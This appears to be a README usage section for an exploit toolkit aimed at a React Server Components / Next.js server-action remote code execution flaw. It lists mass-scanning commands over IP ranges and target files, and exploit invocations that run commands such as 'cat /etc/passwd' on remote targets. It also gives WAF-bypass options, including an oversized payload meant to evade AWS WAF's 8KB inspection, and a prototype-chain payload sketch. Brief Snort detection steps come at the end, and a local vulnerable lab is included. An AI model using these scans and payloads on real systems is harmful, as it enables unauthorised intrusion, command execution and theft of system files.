cd vulnerable-app
docker-compose up -d
# Visit http://localhost:3000

# Single URL test
python3 rsc_vulnerability_checker_multi.py http://localhost:3000

# Batch scan multiple URLs
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com

# IP range scan
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.1-254 -p 3000 --threads 20

# Read from file
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o results.csv

# Basic attack
python3 exploit_advanced.py -u http://localhost:3000 -c "whoami" --basic

# Advanced attack (prototype chain + thenable)
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --advanced

# WAF bypass - Unicode encoding
python3 exploit_advanced.py -u http://target.com -c "cat /etc/passwd" --advanced --waf-bypass

# WAF bypass - Chunked Transfer Encoding
python3 exploit_advanced.py -u http://target.com -c "uname -a" --chunked

# WAF bypass - Oversize Payload (AWS WAF)
python3 exploit_advanced.py -u http://target.com -c "id" --oversize 65536

# Try all techniques sequentially
python3 exploit_advanced.py -u http://target.com -c "whoami" --all -v

# Capture attack traffic
sudo tcpdump -i lo0 -w attack.pcap 'port 3000' &
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --all
sudo pkill tcpdump

# Analyze with Snort
snort -c snort.conf -r attack.pcap -A console -k none

# Direct Server Action call
POST /?__rsc_action__ HTTP/1.1
Content-Type: text/plain
next-action: <action_id>

["$@1",["$","$L2",null,{...}]]

// Core principle
{
  "then": "$1:__proto__:then",           // Triggers Chunk.prototype.then
  "_response": {                          // Inject fake response
    "_formData": {...},
    "_prefix": ""
  },
  "$1:constructor:constructor": Function  // Access Function constructor
}

POST /?__rsc_action__ HTTP/1.1
Transfer-Encoding: chunked

10
["$@1",["$","
15
$L2",null,{"then
...

payload = original_payload + "X" * (size - len(original_payload))
# AWS WAF: inspects only the first 8KB
# Actual attack code placed after 8KB

# Single URL
python3 rsc_vulnerability_checker_multi.py http://target.com

# Multiple URLs
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com

# IP range scan (CIDR)
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.0/24 -p 3000

# IP range scan (hyphen)
python3 rsc_vulnerability_checker_multi.py -r 10.0.0.1-254 -p 8080 --threads 50

# File input/output
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o scan_results.csv

# Verbose mode
python3 rsc_vulnerability_checker_multi.py http://target.com -v

[VULNERABLE] http://target.com:3000 - React 19.0.0-rc, Next.js 15.0.3
[SAFE] http://example.com:3000 - Not vulnerable
[ERROR] http://offline.com:3000 - Connection timeout

# Snort real-time monitoring
snort -c snort.conf -i eth0 -A console

# Log file analysis
snort -c snort.conf -r network.pcap -A fast